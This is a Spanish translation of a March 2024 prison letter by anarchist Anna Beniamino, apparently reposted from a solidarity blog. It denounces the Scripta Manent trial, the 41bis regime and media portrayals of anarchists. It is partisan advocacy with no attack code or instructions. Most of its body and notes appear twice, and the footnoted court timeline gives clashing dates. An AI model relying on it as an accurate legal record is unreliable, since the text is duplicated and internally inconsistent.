En estos años de cárcel y juicios he tenido la oportunidad de experimentar en directo una serie de forzamientos lógicos y jurídicos que no creía posible concentrar en una sola operación, dándome cuenta igualmente de que es el modus operandi de la práctica entre fiscales y tribunales en la extensión de la legislación «especial», de «emergencial» a «cotidiana», de la antimafia y antiterrorismo: no ya una excepción, sino la gestión habitual que la DNAA aplicaba y aplica a los juicios contra la llamada delincuencia organizada extendida a los anarquistas y que la justicia en general aplica a aquellos segmentos de la oposición social y no aislada y fácilmente atacable homologación que aún expresan, aunque sea de forma germinal, la necesidad de recuperar las calles, la palabra y la dignidad de una oposición no negociada. Un ataque sinérgico –alimentado por un clima político no de un simple gobierno de derechas sino equivalente en los últimos gobiernos «políticos» o «técnicos» que quisieron definirse– contra los componentes no recuperables con fines electorales: en una bajada general del listón de lo que se puede castigar penalmente y la paralela subida de lo que se puede ‘monstrificar’ mediáticamente, pueden leerse las estrategias en implementadas y las resistencias a oponer.
En este sentido, creo que el escrito de Juan (3) es claro en captar lo positivo, cuando no la necesidad de frenarlo, además de las debidas cuestiones críticas y autocríticas del movimiento.
Sobre el constructo jurídico: castillos de naipes
Presentar al enemigo como un monstruo, eso es lo que ocurre; es praxis, no excepcionalidad. Ciertamente de forma más refinada en el caso de los juicios políticos, donde el enemigo interior debe ser esterilizado de cualquier empatía crítica/comunicativa, pero también ocurre en la tramitación de los juicios a los mundos y submundos maleantes donde se magnifican los crímenes y las amenazas. En los que los mismos «desventurados» primero son utilizados y engrosados un poco gracias a los «honores» criminales otorgados por las crónicas periodísticas, para luego ser triturados, compostados y destruidos en el circuito carcelario: traficantes callejeros transformados en capos del hampa, en una comedia de partes en la que se mezclan víctimas y verdugos, todos proclives al dios dinero.
En los últimos años el paraguas de la «lucha contra la mafia» se ha convertido en una útil cortina de humo para encubrir un contexto en el que la complicidad entre la política institucional y los intereses económicos gestionados con mano de obra ilegal es la práctica, e igualmente lo es deshacerse de la mano de obra agotada. Sobre esto se injertó la ampliación de la DNA a la DNAA, con la aplicación de estrategias y circuitos carcelarios similares. Poco importa que el número real de presos por delitos clasificados como terrorismo sea infinitesimal, el bombo mediático ha inflado la nueva pretensión de que «mafiosos y terroristas» sean recluidos en jaulas especiales.
Sobre los circuitos de detención: jaulas de cemento con vistas a cemento
El contexto mediático contribuye a crear un mecanismo de silencio/asentimiento en relación con las notas de prensa estatales y gubernamentales, hasta que se pueda oponer/imponer una narrativa diferente. Los medios de que disponemos son a menudo en dosis homeopáticas en comparación con la potencia de fuego mediática del enemigo, pero a veces eficaces.
Lo hemos experimentado durante la lucha para liberar a Alfredo del 41bis. Una lucha perdida en el objetivo concreto, donde hubo una «victoria moral» parcial, en el sentido de que se rompió el muro de silencio respecto a un circuito de tortura «blanca» en Italia, abriendo incluso grietas en la ‘monstrificación’ del enemigo [político del Estado – ndt] y la represión a los anarquistas, pero Alfredo sigue siendo un rehén en esas jaulas, en Bancali. En resumen, sigue siendo una lucha abierta. Y hay que reflexionar sobre ello.
Tras la huelga de hambre que duró hasta el umbral de la muerte y una vasta movilización, no sólo del área anarquista y precedida por una clara toma de posición pública de varios abogados (4) que impulsó incluso a las áreas más intimidadas del movimiento a exponerse, se produjo un cortocircuito informativo que dio algunos resultados, aunque los intentos más burdos de restaurar al monstruo sobrehumanizado no se hicieron esperar. En la mejor tradición periodística primero crear el personaje y luego desmembrarlo. En parte, no todo es salvable por muy arduo que sea el proceso de oposición.
Pocos meses después, también ha habido algún intento periodístico/editorial de historiar hechos e ideas de forma más honesta, aunque siempre trabajando sobre el guión de los informes policiales (que los historiadores y cronistas profesionales tienen el vicio de considerar como fuentes ciertas, cuando a veces lo son por meros datos de sucesos, a veces porque éstos también son sesgados o forzados, pero entonces se hunden en el abismo de la tergiversación funcional de biografías, ideas, citas, pensamiento político). Así, incluso en estos casos, la fuerza de una instancia de lucha colectiva e individual es sustituida por un personaje, el héroe único y testarudo, que al final resulta útil para descartar su porte ideal y práctico, vendiendo como romanticismo lo que es una lúcida, aunque amarga, lectura sin concesiones de la realidad.
Entre castillos de naipes y jaulas de hormigón: variables y constantes de la estrategia represiva
Ha habido un cambio de ritmo en Scripta Manent, tanto en el uso de los delitos como en los circuitos de detención. O mejor dicho, ha habido varios acelerones en los últimos años, con una serie de procesos contra el ámbito anarquista y antagonista, de los que las draconianas condenas en los juicios Scripta Manent y contra Juan en primera instancia a 28 años han sido el ejemplo más llamativo, con el concomitante peso del 41 bis encima. El delito de «masacre política» –un crimen-monstruo que con sólo pronunciarlo hace caer al interlocutor en un pozo negro de terror indiscriminado– asociado al 41 bis –el circuito infernal del supervillano– tenía probablemente por objeto anular cualquier tipo de reacción. Además, el cambio de ritmo con la condena por 270bis, asociación subversiva para la FAI, abrió a los anarquistas la «fruición» del delito de asociación con la consiguiente lectura distorsionada de las relaciones humanas y la solidaridad entre compañerxs.
Me explico: durante años me he enfrentado, junto con muchxs compañerxs, al intento de varios fiscales italianos, solos o con un propósito represivo común, de imputarme el delito de asociación, junto con otros anarquistas, empezando por el proceso Marini y así sucesivamente con operaciones que partiendo de periódicos anarquistas, utilizaban alguna acción como delito de finalidad y montaban la operación casi estacional. Con Scripta Manent, el delito de asociación con fines terroristas pasó como precedente judicial. Poco importa a estos efectos que Scripta Manent, tras los inicios de la megainvestigación, fuera capaz de endosárnosla –con un chapucerísimo sistema «conjuncional» de asociaciones a modo de “muñecas rusas” de actores desconocidos y, sobre todo, de «estructura» no detallada (5)– sólo a Alfredo, Nicola y a mí… sin embargo, sirve de precedente para una serie de operaciones posteriores en las que ni siquiera existe el esfuerzo de construir un relato verosímil entre hechos, periódicos… como en Scripta Scelera: el hecho de crear un periódico es suficiente para desencadenar el delito de asociación. La lógica represiva sobre los periódicos anarquistas ha pasado tout court [sin más – ndt] si dan la palabra a los compañeros encarcelados. La bajada del listón de la punibilidad puede leerse también en la «auto-adiestramiento», que de ser un delito inventado para reprimir el activismo y el proselitismo en internet del área islámica en el caso de individuos sueltos, pasa ahora a abarcar también el activismo antiautoritario, por mucho que sean fenómenos con fines y medios antitéticos. La sugestión del «lobo solitario» es válida y útil si el acusado está solo. Se utilizan entonces con profusión los delitos de «presunta peligrosidad» y ‘monstrificaciones’ preventivas para aplicar abundantes medidas de vigilancia especial.
Otro cambio de paso fue el intento de aplicar el 41bis al área anarquista. Antes de lo ocurrido con Alfredo hubo un intento preliminar de crear en L’Aquila una AS2 bajo gestión del GOM con tratamiento comparable al 41bis [*ndt2] (en una extensión de lo que ya se aplicaba a los presos clasificados como islámicos, primero en Badu ‘e Carros para las mujeres y en Rossano Calabro para los hombres). El intento fue frenado con una huelga de hambre conjunta de compañeras y compañeros entonces encarcelados en diversas prisiones y por diferentes investigaciones judiciales (6). Sin olvidar que el régimen del 41 bis nació como una suspensión especial y temporal, precedida por el artículo 90, que con medidas similares en los años 80 respondió a los levantamientos carcelarios, cristalizó como «baluarte» antimafia y luego se aplicó a los presos revolucionarios comunistas con renovaciones automáticas periódicas, y sigue siendo disuasorio y medio de presión. En resumen: usos diversificados según las necesidades… sucede tanto con los artículos del código penal como con las jaulas de hormigón.
Ahora bien, para no volver a caer en la mística paralizante de una máquina represiva que todo lo destruye con castigos ejemplares, desertización de las plazas y censura total, también hay que echar un vistazo a la capacidad real, que la hubo y la hay, de no dejarse arrinconar totalmente por ello. Al contrario, en algunos casos (y a un coste considerable o con la ligereza de la razón que sea) ha sido posible derribar la narrativa impuesta y construir algo nuevo. También en una inesperada convergencia de atenciones e intenciones que ha existido potencialmente y probablemente se ha apagado demasiado rápido en esa inconstancia que no sólo es prerrogativa de los movimientos sino costumbre generalizada.
Ciertamente no son tiempos de praderas en llamas, pero tampoco de bomberos y resignados. Hay un componente que resiste y persiste, pero sufre con demasiada frecuencia la fatiga moral de pensar que uno se pasa la vida luchando contra molinos de viento, ¡cuando también los vientos soplan en contra!
No creo en héroes ni en superhumanos, sino en la conciencia que mujeres y hombres deben construir, en que la lucha no es gratuita, que implica contragolpes y caídas, resistencias y oscilantes golpes de autoestima. Y que vale la pena, siempre y en cualquier caso, por la calidad de las relaciones que se construyen, no de supervivencia ideal sino de una vida mas real que nunca.
Anna Beniamino
Rebibbia, marzo de 2024Notas:
[1] Ver: https://ilrovescio.info/2022/11/07/scripta-manent-appunto/
[2] Si es necesario… un breve resumen:
– La apelación de 2020 había confirmado las condenas por 422 c. p. (masacre «común») –aunque el GIP ya lo había recalificado como 280 c. p.– para Alfredo y para mí y las condenas por 270 bis, reduciendo el tamaño de la asociación subversiva y liberando a 2 compañeros de la acusación de participación que había pasado en primera instancia. Otra contradicción entre las dos sentencias es la relativa a la incitación a cometer delitos por medio de revistas y blogs, desestimada en primera instancia y reconocida en segunda a 13 compañeros. Entre la masacre y los diversos delitos continuados, el segundo grado condenó a Alfredo a 20 años y a mí a 16 años y 6 meses.
– El Tribunal de Casación en julio de 2022 recalificó directamente (sin reenvío a apelación) el 422 c. p. en 285 c. p. (masacre «política») como delito penal, dejando cínicamente a los jueces de apelación bis la carga de recalcular la pena, que, siendo el 285 c. p. un delito de pena fija, hubiera sido cadena perpetua y 30 años.
– En la vista de apelación bis de diciembre de 2022 (a la que comparecimos, con Alfredo, en huelga de hambre contra el 41 bis y la cadena perpetua hostil) se aceptaron algunas de las cuestiones planteadas por la defensa, en particular las relativas a la no aplicación de circunstancias atenuantes a Alfredo, devolviendo la cuestión al Tribunal Constitucional, que contestó afirmativamente en mayo de 2022.
– En la vista de apelación de junio de 2022, siguiendo las instrucciones del Tribunal Constitucional, se fijaron las penas en 23 años para Alfredo y 17 años y 9 meses para mí.
– La Fiscalía de Turín recurrió ante el Tribunal de Casación contra la concesión a ambos del 311 c. p. (entidad menor del hecho) y contra la prevalencia de circunstancias atenuantes sobre la reincidencia concedida a Alfredo. La defensa recurrió de nuevo planteando una cuestión constitucional respecto a la pena fijada.[* ndt1] celdas de cemento con vistas a cemento se refiere a la disposición de las celdas de modo que sólo puede verse cemento, la llamada arquitectura vertical:
«… en una sección situada bajo tierra, sin ventanas, por lo tanto sin aire ni luz natural…espacios reducidos y dispuestos verticalmente de modo que la vista queda privada de cualquier horizonte… Esta estructura genera una sensación de opresión, de claustrofobia, de tortura sicológica…»[5] La misma sentencia del Tribunal Supremo de julio de 2022, tras años y años de juicio, liquida la asociación con unas pocas líneas que ni siquiera intentan justificar un esquema que pasa a mantenerse por si mismo, por el cual Alfredo, Nicola y yo seríamos «asociados de larga trayectoria que han ocupado altos cargos en la FAI», sin explicar en ningún sitio en qué se basa esta afirmación axiomática. Admitiendo manifiestamente las «problemáticas inmanentes» para «identificar, a partir de pruebas que han adoptado las morfologías más dispares, en los diferentes coeficientes de intensidad circunstancial escrutados, una célula subversiva estructurada en torno a tres núcleos subjetivos, fijados por objetivos comunes, recursos comunes, ideales comunes, métodos replicados, conocimientos compartidos, solidaridades manifestadas […]». Dicho en términos más toscos: son una célula subversiva porque son anarquistas que se conocen desde hace mucho tiempo. Y punto. La idea anarquista es el pegamento, la sustancia de la asociación.
[* ndt2] Condiciones de detención a las que estaban sometidas las compañeras:
– celdas individuales en la antigua sección del 41 bis femenino en la prisión de L’Aquila, con la ventanilla cerrada
– Cada día eran despertadas a las 7 de la mañana, a las 8 pasaban los carceleros a comprobar los barrotes, dos horas de patio por la mañana y dos por la tarde (solas)
– Todas las entradas y salidas de la celda controladas con detector de metales (las compañeras eran escaneadas doce veces al día), además de un registro completo diario.
– Solo una hora de socialización al día en una pequeño habitáculo.
– Control estricto de las pertenencias. Armario fuera de la celda con un máximo de 7 prendas, tres libros como máximo, control exhaustivo y recuento de las pertenencias cada vez que sacan o meten algo de la celda.
– Sin radio, y sin posibilidad de ver la hora en la televisión, por lo saber la hora era prácticamente imposible.
– Las carceleras eran del cuerpo del GOM, mujeres embrutecidas del cuerpo de la policía penitenciaria. En poco más de una semana recibieron nueve expedientes disciplinarios. Para hacerse una idea, uno por apoyar un pie en el cuartucho de socialización y otra por salir con un bolígrafo al patio.[6] Estas son las palabras con las que comenzó la huelga en mayo de 2019:
«Llevamos casi dos meses encerradas en la sección femenina AS2 de L’Aquila, a estas alturas son bien conocidas, aquí y fuera, las condiciones de detención derivadas de un reglamento que huele a 41bis suavizado.
Estamos convencidas de que no se puede ni se podrá exigir ninguna mejora, no sólo por cuestiones objetivas y estructurales de la sección amarilla (ex-41bis): toda la cárcel está destinada casi exclusivamente al régimen 41bis, por lo que ampliar un poco las mallas del reglamento de la sección nos parece de mal gusto e impracticable, dadas las condiciones aún más pesadas que se sufren a pocos pasos de aquí, no podemos dejar de pensar en cuántos y cuántas llevan años luchando acumulando informes y procesos penales. A esto hay que añadir el torpe intento del DAP de salir del paso creando una sección mixta anarcoislámica, lo que ha provocado una nueva prohibición de reunirse en la propia sección, con un aislamiento que continúa.
Hay condiciones carcelarias, comunes o especiales, aún peores que las de L’Aquila. Esta no es una buena razón para no oponerse a lo que imponen aquí.
No comeremos más de este pan: el 29 de mayo iniciaremos una huelga de hambre exigiendo el traslado de esta cárcel y el cierre de esta infame sección. Silvia y Anna».https://lucharcontrael41bis.noblogs.org/2024/04/22/anna-beniamino-el-carrusel-de-la-represion/
#AnnaBeniamino #cartas #regímenesDiferenciados #ScriptaManent #textos
-
Hemos revisado la traducción de Informativo Anarquista de este escrito de la compañera Anna Beniamino en previsión de la audiencia en Casación del próximo 24 de abril respecto al delito de «strage política» en el contexto del proceso Scripta Manent.
Puedes encontrar el original en La Nemesi.EL CARRUSEL DE LA REPRESIÓN
Casi ocho años después de las detenciones por Scripta Manent, por segunda vez el Tribunal de Casación, el 24 de abril de 2024, se pronunciará sobre el delito de «masacre política», ex art. 285 código penal, contra Alfredo y yo, último retazo del proceso (1), después de un carrusel de aplazamientos, recálculos y argucias represivo-jurisprudenciales (2).
Aunque la iteración del error anestesia el horror, y vivimos tiempos de múltiples horrores ostentosos y de anestesia total, creo que aún hay que decir algunas palabras sobre el intento de aniquilación en curso, sobre las reacciones, exitosas e intentadas. No tanto porque piense que esto pueda ser útil para nuestra suerte personal, sino por una forma de «romanticismo» obstinado que considera que el silencio y la resignación son letales siempre, y más aún en un juicio político.
No tengo ninguna inclinación a resignarme en silencio a la administración de «justicia» (como ocurre diariamente en las prisiones), ni a limitarme por la lógica de la reducción de daños (otra piedra angular de la supervivencia entre la cárcel y los tribunales), sino a desplazar la atención hacia las políticas represivas que subyacen a esto y a la capacidad real de reaccionar, de crear momentos de lucha y ruptura, de construir diques, individuales y colectivos, ante la arrogancia de la represión.
He hablado de error y de horror porque eso es lo que son en su esencia las políticas represivas, error y horror que se mezclan en el distorsionar completamente el porte teórico y práctico del enemigo [político], enterrándolo vivo y/o forzándolo al atrincheramiento de la defensa preventiva y de las reservas indias de la «contracultura» y de la búsqueda de la «indignación democrática» (que también es poco más que una reserva india, con un umbral de sensibilidad que es cada vez más una corteza irrompible para la mayoría), una estrategia que a corto plazo debilita la reactividad de los compañeros y compañeras enredados, más de lo que creen, en un sentimiento de inevitabilidad de los acontecimientos y de imposibilidad de construir reacciones.
Hace siete años pensaba que era posible tratar el proceso Scripta Manent como represión ordinaria, rebatiendo desde un punto de vista técnico, punto por punto, tanto los incidentes individuales como todo el constructo asociativo, dada la evidente fragilidad del castillo acusatorio. Un exceso de optimismo sobre la voluntad y las estrategias políticas en juego y una imperdonable miopía al no poner inmediatamente de relieve con más fuerza lo que estaba ocurriendo. Han sido «necesarios» 41 bis y cadena perpetua rondando para centrar las miradas y la atención.
Lejos de querer volver a caer en la retórica del «error judicial», del exceso, porque desde un punto de vista jurisprudencial y probatorio, fue precisamente eso lo que tuvieron que admitir a regañadientes algunos medios de comunicación mainstream (otros han continuado con la ‘monstrificación’) que, para justificar al anarquista en 41 bis, tenían que contextualizar con cierto embarazo los hechos y el personaje, además de situar el corazón del Estado, su seguridad –cuya puesta en peligro es precisamente lo que caracteriza a la «masacre política»– en un par de contenedores de basura explosionados a las 3 de la madrugada en el recinto amurallado de un cuartel, y tener que eludir con el mismo embarazo los demás fallos del guión ofrecido por la DNAA y la fiscalía de Turín.
Lejos del «error judicial», porque se trata de una voluntad precisa, con convergencias entre los castillos de naipes de las jefaturas de policía y las jaulas de cemento con vistas a cemento [*ndt1]: el componente episódico (la carrera del tal policía o magistrado, los medios de comunicación siempre listos para insuflar el nuevo peligro, la más burda propaganda) está ahí, pero fluye en una máquina bien engrasada que siempre necesita nuevas cabezas cortadas para ser exhibidas en los bastiones de la ley y el orden. Entonces, a veces, la máquina se atasca… y es deber y orgullo de todo antiautoritario hacer que se atasque.
En estos años de cárcel y juicios he tenido la oportunidad de experimentar en directo una serie de forzamientos lógicos y jurídicos que no creía posible concentrar en una sola operación, dándome cuenta igualmente de que es el modus operandi de la práctica entre fiscales y tribunales en la extensión de la legislación «especial», de «emergencial» a «cotidiana», de la antimafia y antiterrorismo: no ya una excepción, sino la gestión habitual que la DNAA aplicaba y aplica a los juicios contra la llamada delincuencia organizada extendida a los anarquistas y que la justicia en general aplica a aquellos segmentos de la oposición social y no aislada y fácilmente atacable homologación que aún expresan, aunque sea de forma germinal, la necesidad de recuperar las calles, la palabra y la dignidad de una oposición no negociada. Un ataque sinérgico –alimentado por un clima político no de un simple gobierno de derechas sino equivalente en los últimos gobiernos «políticos» o «técnicos» que quisieron definirse– contra los componentes no recuperables con fines electorales: en una bajada general del listón de lo que se puede castigar penalmente y la paralela subida de lo que se puede ‘monstrificar’ mediáticamente, pueden leerse las estrategias en implementadas y las resistencias a oponer.
En este sentido, creo que el escrito de Juan (3) es claro en captar lo positivo, cuando no la necesidad de frenarlo, además de las debidas cuestiones críticas y autocríticas del movimiento.
Sobre el constructo jurídico: castillos de naipes
Presentar al enemigo como un monstruo, eso es lo que ocurre; es praxis, no excepcionalidad. Ciertamente de forma más refinada en el caso de los juicios políticos, donde el enemigo interior debe ser esterilizado de cualquier empatía crítica/comunicativa, pero también ocurre en la tramitación de los juicios a los mundos y submundos maleantes donde se magnifican los crímenes y las amenazas. En los que los mismos «desventurados» primero son utilizados y engrosados un poco gracias a los «honores» criminales otorgados por las crónicas periodísticas, para luego ser triturados, compostados y destruidos en el circuito carcelario: traficantes callejeros transformados en capos del hampa, en una comedia de partes en la que se mezclan víctimas y verdugos, todos proclives al dios dinero.
En los últimos años el paraguas de la «lucha contra la mafia» se ha convertido en una útil cortina de humo para encubrir un contexto en el que la complicidad entre la política institucional y los intereses económicos gestionados con mano de obra ilegal es la práctica, e igualmente lo es deshacerse de la mano de obra agotada. Sobre esto se injertó la ampliación de la DNA a la DNAA, con la aplicación de estrategias y circuitos carcelarios similares. Poco importa que el número real de presos por delitos clasificados como terrorismo sea infinitesimal, el bombo mediático ha inflado la nueva pretensión de que «mafiosos y terroristas» sean recluidos en jaulas especiales.
Sobre los circuitos de detención: jaulas de cemento con vistas a cemento
El contexto mediático contribuye a crear un mecanismo de silencio/asentimiento en relación con las notas de prensa estatales y gubernamentales, hasta que se pueda oponer/imponer una narrativa diferente. Los medios de que disponemos son a menudo en dosis homeopáticas en comparación con la potencia de fuego mediática del enemigo, pero a veces eficaces.
Lo hemos experimentado durante la lucha para liberar a Alfredo del 41bis. Una lucha perdida en el objetivo concreto, donde hubo una «victoria moral» parcial, en el sentido de que se rompió el muro de silencio respecto a un circuito de tortura «blanca» en Italia, abriendo incluso grietas en la ‘monstrificación’ del enemigo [político del Estado – ndt] y la represión a los anarquistas, pero Alfredo sigue siendo un rehén en esas jaulas, en Bancali. En resumen, sigue siendo una lucha abierta. Y hay que reflexionar sobre ello.
Tras la huelga de hambre que duró hasta el umbral de la muerte y una vasta movilización, no sólo del área anarquista y precedida por una clara toma de posición pública de varios abogados (4) que impulsó incluso a las áreas más intimidadas del movimiento a exponerse, se produjo un cortocircuito informativo que dio algunos resultados, aunque los intentos más burdos de restaurar al monstruo sobrehumanizado no se hicieron esperar. En la mejor tradición periodística primero crear el personaje y luego desmembrarlo. En parte, no todo es salvable por muy arduo que sea el proceso de oposición.
Pocos meses después, también ha habido algún intento periodístico/editorial de historiar hechos e ideas de forma más honesta, aunque siempre trabajando sobre el guión de los informes policiales (que los historiadores y cronistas profesionales tienen el vicio de considerar como fuentes ciertas, cuando a veces lo son por meros datos de sucesos, a veces porque éstos también son sesgados o forzados, pero entonces se hunden en el abismo de la tergiversación funcional de biografías, ideas, citas, pensamiento político). Así, incluso en estos casos, la fuerza de una instancia de lucha colectiva e individual es sustituida por un personaje, el héroe único y testarudo, que al final resulta útil para descartar su porte ideal y práctico, vendiendo como romanticismo lo que es una lúcida, aunque amarga, lectura sin concesiones de la realidad.
Entre castillos de naipes y jaulas de hormigón: variables y constantes de la estrategia represiva
Ha habido un cambio de ritmo en Scripta Manent, tanto en el uso de los delitos como en los circuitos de detención. O mejor dicho, ha habido varios acelerones en los últimos años, con una serie de procesos contra el ámbito anarquista y antagonista, de los que las draconianas condenas en los juicios Scripta Manent y contra Juan en primera instancia a 28 años han sido el ejemplo más llamativo, con el concomitante peso del 41 bis encima. El delito de «masacre política» –un crimen-monstruo que con sólo pronunciarlo hace caer al interlocutor en un pozo negro de terror indiscriminado– asociado al 41 bis –el circuito infernal del supervillano– tenía probablemente por objeto anular cualquier tipo de reacción. Además, el cambio de ritmo con la condena por 270bis, asociación subversiva para la FAI, abrió a los anarquistas la «fruición» del delito de asociación con la consiguiente lectura distorsionada de las relaciones humanas y la solidaridad entre compañerxs.
Me explico: durante años me he enfrentado, junto con muchxs compañerxs, al intento de varios fiscales italianos, solos o con un propósito represivo común, de imputarme el delito de asociación, junto con otros anarquistas, empezando por el proceso Marini y así sucesivamente con operaciones que partiendo de periódicos anarquistas, utilizaban alguna acción como delito de finalidad y montaban la operación casi estacional. Con Scripta Manent, el delito de asociación con fines terroristas pasó como precedente judicial. Poco importa a estos efectos que Scripta Manent, tras los inicios de la megainvestigación, fuera capaz de endosárnosla –con un chapucerísimo sistema «conjuncional» de asociaciones a modo de “muñecas rusas” de actores desconocidos y, sobre todo, de «estructura» no detallada (5)– sólo a Alfredo, Nicola y a mí… sin embargo, sirve de precedente para una serie de operaciones posteriores en las que ni siquiera existe el esfuerzo de construir un relato verosímil entre hechos, periódicos… como en Scripta Scelera: el hecho de crear un periódico es suficiente para desencadenar el delito de asociación. La lógica represiva sobre los periódicos anarquistas ha pasado tout court [sin más – ndt] si dan la palabra a los compañeros encarcelados. La bajada del listón de la punibilidad puede leerse también en la «auto-adiestramiento», que de ser un delito inventado para reprimir el activismo y el proselitismo en internet del área islámica en el caso de individuos sueltos, pasa ahora a abarcar también el activismo antiautoritario, por mucho que sean fenómenos con fines y medios antitéticos. La sugestión del «lobo solitario» es válida y útil si el acusado está solo. Se utilizan entonces con profusión los delitos de «presunta peligrosidad» y ‘monstrificaciones’ preventivas para aplicar abundantes medidas de vigilancia especial.
Otro cambio de paso fue el intento de aplicar el 41bis al área anarquista. Antes de lo ocurrido con Alfredo hubo un intento preliminar de crear en L’Aquila una AS2 bajo gestión del GOM con tratamiento comparable al 41bis [*ndt2] (en una extensión de lo que ya se aplicaba a los presos clasificados como islámicos, primero en Badu ‘e Carros para las mujeres y en Rossano Calabro para los hombres). El intento fue frenado con una huelga de hambre conjunta de compañeras y compañeros entonces encarcelados en diversas prisiones y por diferentes investigaciones judiciales (6). Sin olvidar que el régimen del 41 bis nació como una suspensión especial y temporal, precedida por el artículo 90, que con medidas similares en los años 80 respondió a los levantamientos carcelarios, cristalizó como «baluarte» antimafia y luego se aplicó a los presos revolucionarios comunistas con renovaciones automáticas periódicas, y sigue siendo disuasorio y medio de presión. En resumen: usos diversificados según las necesidades… sucede tanto con los artículos del código penal como con las jaulas de hormigón.
Ahora bien, para no volver a caer en la mística paralizante de una máquina represiva que todo lo destruye con castigos ejemplares, desertización de las plazas y censura total, también hay que echar un vistazo a la capacidad real, que la hubo y la hay, de no dejarse arrinconar totalmente por ello. Al contrario, en algunos casos (y a un coste considerable o con la ligereza de la razón que sea) ha sido posible derribar la narrativa impuesta y construir algo nuevo. También en una inesperada convergencia de atenciones e intenciones que ha existido potencialmente y probablemente se ha apagado demasiado rápido en esa inconstancia que no sólo es prerrogativa de los movimientos sino costumbre generalizada.
Ciertamente no son tiempos de praderas en llamas, pero tampoco de bomberos y resignados. Hay un componente que resiste y persiste, pero sufre con demasiada frecuencia la fatiga moral de pensar que uno se pasa la vida luchando contra molinos de viento, ¡cuando también los vientos soplan en contra!
No creo en héroes ni en superhumanos, sino en la conciencia que mujeres y hombres deben construir, en que la lucha no es gratuita, que implica contragolpes y caídas, resistencias y oscilantes golpes de autoestima. Y que vale la pena, siempre y en cualquier caso, por la calidad de las relaciones que se construyen, no de supervivencia ideal sino de una vida mas real que nunca.
Anna Beniamino
Rebibbia, marzo de 2024Notas:
[1] Ver: https://ilrovescio.info/2022/11/07/scripta-manent-appunto/
[2] Si es necesario… un breve resumen:
– La apelación de 2020 había confirmado las condenas por 422 c. p. (masacre «común») –aunque el GIP ya lo había recalificado como 280 c. p.– para Alfredo y para mí y las condenas por 270 bis, reduciendo el tamaño de la asociación subversiva y liberando a 2 compañeros de la acusación de participación que había pasado en primera instancia. Otra contradicción entre las dos sentencias es la relativa a la incitación a cometer delitos por medio de revistas y blogs, desestimada en primera instancia y reconocida en segunda a 13 compañeros. Entre la masacre y los diversos delitos continuados, el segundo grado condenó a Alfredo a 20 años y a mí a 16 años y 6 meses.
– El Tribunal de Casación en julio de 2022 recalificó directamente (sin reenvío a apelación) el 422 c. p. en 285 c. p. (masacre «política») como delito penal, dejando cínicamente a los jueces de apelación bis la carga de recalcular la pena, que, siendo el 285 c. p. un delito de pena fija, hubiera sido cadena perpetua y 30 años.
– En la vista de apelación bis de diciembre de 2022 (a la que comparecimos, con Alfredo, en huelga de hambre contra el 41 bis y la cadena perpetua hostil) se aceptaron algunas de las cuestiones planteadas por la defensa, en particular las relativas a la no aplicación de circunstancias atenuantes a Alfredo, devolviendo la cuestión al Tribunal Constitucional, que contestó afirmativamente en mayo de 2022.
– En la vista de apelación de junio de 2022, siguiendo las instrucciones del Tribunal Constitucional, se fijaron las penas en 23 años para Alfredo y 17 años y 9 meses para mí.
– La Fiscalía de Turín recurrió ante el Tribunal de Casación contra la concesión a ambos del 311 c. p. (entidad menor del hecho) y contra la prevalencia de circunstancias atenuantes sobre la reincidencia concedida a Alfredo. La defensa recurrió de nuevo planteando una cuestión constitucional respecto a la pena fijada.[* ndt1] celdas de cemento con vistas a cemento se refiere a la disposición de las celdas de modo que sólo puede verse cemento, la llamada arquitectura vertical:
«… en una sección situada bajo tierra, sin ventanas, por lo tanto sin aire ni luz natural…espacios reducidos y dispuestos verticalmente de modo que la vista queda privada de cualquier horizonte… Esta estructura genera una sensación de opresión, de claustrofobia, de tortura sicológica…»[5] La misma sentencia del Tribunal Supremo de julio de 2022, tras años y años de juicio, liquida la asociación con unas pocas líneas que ni siquiera intentan justificar un esquema que pasa a mantenerse por si mismo, por el cual Alfredo, Nicola y yo seríamos «asociados de larga trayectoria que han ocupado altos cargos en la FAI», sin explicar en ningún sitio en qué se basa esta afirmación axiomática. Admitiendo manifiestamente las «problemáticas inmanentes» para «identificar, a partir de pruebas que han adoptado las morfologías más dispares, en los diferentes coeficientes de intensidad circunstancial escrutados, una célula subversiva estructurada en torno a tres núcleos subjetivos, fijados por objetivos comunes, recursos comunes, ideales comunes, métodos replicados, conocimientos compartidos, solidaridades manifestadas […]». Dicho en términos más toscos: son una célula subversiva porque son anarquistas que se conocen desde hace mucho tiempo. Y punto. La idea anarquista es el pegamento, la sustancia de la asociación.
[* ndt2] Condiciones de detención a las que estaban sometidas las compañeras:
– celdas individuales en la antigua sección del 41 bis femenino en la prisión de L’Aquila, con la ventanilla cerrada
– Cada día eran despertadas a las 7 de la mañana, a las 8 pasaban los carceleros a comprobar los barrotes, dos horas de patio por la mañana y dos por la tarde (solas)
– Todas las entradas y salidas de la celda controladas con detector de metales (las compañeras eran escaneadas doce veces al día), además de un registro completo diario.
– Solo una hora de socialización al día en una pequeño habitáculo.
– Control estricto de las pertenencias. Armario fuera de la celda con un máximo de 7 prendas, tres libros como máximo, control exhaustivo y recuento de las pertenencias cada vez que sacan o meten algo de la celda.
– Sin radio, y sin posibilidad de ver la hora en la televisión, por lo saber la hora era prácticamente imposible.
– Las carceleras eran del cuerpo del GOM, mujeres embrutecidas del cuerpo de la policía penitenciaria. En poco más de una semana recibieron nueve expedientes disciplinarios. Para hacerse una idea, uno por apoyar un pie en el cuartucho de socialización y otra por salir con un bolígrafo al patio.[6] Estas son las palabras con las que comenzó la huelga en mayo de 2019:
«Llevamos casi dos meses encerradas en la sección femenina AS2 de L’Aquila, a estas alturas son bien conocidas, aquí y fuera, las condiciones de detención derivadas de un reglamento que huele a 41bis suavizado.
Estamos convencidas de que no se puede ni se podrá exigir ninguna mejora, no sólo por cuestiones objetivas y estructurales de la sección amarilla (ex-41bis): toda la cárcel está destinada casi exclusivamente al régimen 41bis, por lo que ampliar un poco las mallas del reglamento de la sección nos parece de mal gusto e impracticable, dadas las condiciones aún más pesadas que se sufren a pocos pasos de aquí, no podemos dejar de pensar en cuántos y cuántas llevan años luchando acumulando informes y procesos penales. A esto hay que añadir el torpe intento del DAP de salir del paso creando una sección mixta anarcoislámica, lo que ha provocado una nueva prohibición de reunirse en la propia sección, con un aislamiento que continúa.
Hay condiciones carcelarias, comunes o especiales, aún peores que las de L’Aquila. Esta no es una buena razón para no oponerse a lo que imponen aquí.
No comeremos más de este pan: el 29 de mayo iniciaremos una huelga de hambre exigiendo el traslado de esta cárcel y el cierre de esta infame sección. Silvia y Anna».https://lucharcontrael41bis.noblogs.org/2024/04/22/anna-beniamino-el-carrusel-de-la-represion/
#AnnaBeniamino #cartas #regímenesDiferenciados #ScriptaManent #textos
-
